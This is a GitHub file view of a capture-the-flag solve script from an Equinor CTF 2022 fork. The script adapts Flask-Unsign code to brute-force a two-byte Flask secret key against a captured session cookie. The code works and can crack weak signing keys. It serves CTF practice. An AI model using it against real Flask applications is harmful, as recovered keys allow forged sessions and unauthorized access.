forked from mrfreddi007/equinor-ctf-2022
-
Notifications
You must be signed in to change notification settings - Fork 0
/
solve.py
159 lines (126 loc) · 4.81 KB
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
# Most of this script was taken from: https://github.com/Paradoxis/Flask-Unsign/blob/master/flask_unsign/session.py
# Modified by HAG to bruteforce a two byte Flask app secret key
import hashlib
import json
import zlib
from base64 import b64decode
from functools import lru_cache
from typing import Union, AnyStr
from uuid import UUID
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import base64_decode, URLSafeTimedSerializer, BadSignature, TimestampSigner
from markupsafe import Markup
from werkzeug.http import parse_date
from flask_unsign import DecodeError, DEFAULT_SALT
from flask_unsign.exceptions import SigningError, FlaskUnsignException
from flask_unsign.helpers import LegacyTimestampSigner
def verify(value: str, secret: str, legacy: bool=False, salt: str=DEFAULT_SALT) -> bool:
"""
Verifies if a given value matches the signed signature
:param value: Session cookie string to verify
:param secret: Secret key
:param salt: Salt (default: 'cookie-session')
:param legacy: Should the legacy timestamp generator be used?
:return: True if the secret key is valid
"""
if not isinstance(secret, (bytes, str)):
raise FlaskUnsignException(
f"Secret must be a string-type (bytes, str) and received "
f"{type(secret).__name__!r}. To fix this, either add quotes to the "
f"secret {secret!r} or use the --no-literal-eval argument.")
try:
get_serializer(secret, legacy, salt).loads(value)
except BadSignature:
return False
return True
def sign(value: dict, secret: AnyStr, legacy: bool = False, salt: str = DEFAULT_SALT) -> str:
"""
Signs a custom session value with a known secret
:param value: Raw Python object (generally a dictionary) to serialize
:param secret: Server secret key
:param salt: Salt (default: 'cookie-session')
:param legacy: Should the legacy timestamp generator be used?
:return: Encoded string
"""
if not isinstance(secret, (bytes, str)):
raise SigningError(
f"Secret must be a string-type (bytes, str) and received "
f"{type(secret).__name__!r}. To fix this, either add quotes to the "
f"secret {secret!r} or use the --no-literal-eval argument.")
return get_serializer(secret, legacy, salt).dumps(value)
def decode(value: str) -> dict:
"""
Flask uses a custom JSON serializer so they can encode other data types.
This code is based on theirs, but we cast everything to strings because
we don't need them to survive a round trip if we're just decoding them.
Source: https://www.kirsle.net/wizards/flask-session.cgi#source
:param value: Session cookie string to decode
:returns: A dictionary representation of the value which was decoded
"""
try:
compressed = False
payload = value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
data = data.decode("utf-8")
except Exception as e:
raise DecodeError(
f'Failed to decode cookie, are you sure '
f'this was a Flask session cookie? {e}')
def hook(obj):
if len(obj) != 1:
return obj
key, val = next(iter(obj.items()))
if key == ' t':
return tuple(val)
elif key == ' u':
return UUID(val)
elif key == ' b':
return b64decode(val)
elif key == ' m':
return Markup(val)
elif key == ' d':
return parse_date(val)
return obj
try:
return json.loads(data, object_hook=hook)
except json.JSONDecodeError as e:
raise DecodeError(
f'Failed to decode cookie, are you sure '
f'this was a Flask session cookie? {e}')
@lru_cache()
def get_serializer(secret: str, legacy: bool, salt: str) -> URLSafeTimedSerializer:
"""
Get a (cached) serializer instance
:param secret: Secret key
:param salt: Salt
:param legacy: Should the legacy timestamp generator be used?
:return: Flask session serializer
"""
if legacy:
signer = LegacyTimestampSigner
else:
signer = TimestampSigner
return URLSafeTimedSerializer(
secret_key=secret,
salt=salt,
serializer=TaggedJSONSerializer(),
signer=signer,
signer_kwargs={
'key_derivation': 'hmac',
'digest_method': hashlib.sha1})
for x in range(0, 256):
for y in range(97, 123):
key = bytearray()
key.append(x)
key.append(y)
res = verify("eyJuYW1lIjoidGVzdCJ9.Y2ZV5w.OKZKlhXL6Ctl2jMtEET6jO5IGxI", bytes(key))
if (res == True):
print(key)
print(f"Found! {key}")
exit()